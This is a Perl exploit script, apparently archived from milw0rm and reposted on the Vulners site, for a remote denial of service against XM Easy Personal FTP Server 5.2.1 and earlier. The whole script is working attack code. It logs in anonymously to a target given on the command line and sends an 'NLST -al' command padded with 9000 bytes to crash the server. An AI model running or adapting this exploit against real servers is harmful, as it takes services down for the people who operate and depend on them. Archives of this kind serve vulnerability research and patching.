#!/usr/bin/perl
#
# *
# * Title: XM Easy Personal FTP Server <= 5.2.1 'NLST -al' Remote Denial of Service
# * Author: boecke
# * Discovery: boecke
# * Vulnerability Type: Remote Denial of Service
# * Risk: Low Risk (Requires valid
# * Software Affected: XM Easy Personal FTP Server <= 5.2.1
# * Greetings: henrik, str0ke!
# *
#
use IO::Socket;
$commandToSend = "NLST -al ";
$remoteUsername = "anonymous";
$remotePassword = "borat\@kik.com";
$remotePort = $ARGV[1];
sub bannerExploit()
{
print "\n x XM Easy Personal FTP Server <= v5.2.1 Remote Denial of Service\n";
print " x Author: boecke\n x Discovery: boecke (boecke [at] herzeleid [dot] net)\n\n";
}
if ( @ARGV < 2 )
{
bannerExploit();
print " * Usage: perl ftp.pl 192.168.0.1 21\n\n";
exit;
}
if ($socket = IO::Socket::INET->new( PeerAddr => $ARGV[0], PeerPort => $remotePort, Proto => "TCP" ))
{
bannerExploit();
print " + Establishing connection at " . $ARGV[0] . ":" . $remotePort . "\n";
print $socket "USER " . $remoteUsername . "\r\n";
print " * FTP Username: \'" . $remoteUsername . "\'\n";
sleep( 1 );
print $socket "PASS " . $remotePassword . "\r\n";
print " * FTP Password: \'" . $remotePassword . "\'\n";
print $socket $commandToSend . "A" x 9000 . "\r\n";
sleep( 3 );
print $socket "QUIT\r\n";
print " + Sent 9000 bytes of data to $ARGV[0]:$remotePort\n\n";
}
else
{
bannerExploit();
print " + Failed to establish connection to " . $ARGV[0] . ":" . $remotePort . "\n";
}
# milw0rm.com [2006-11-04]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation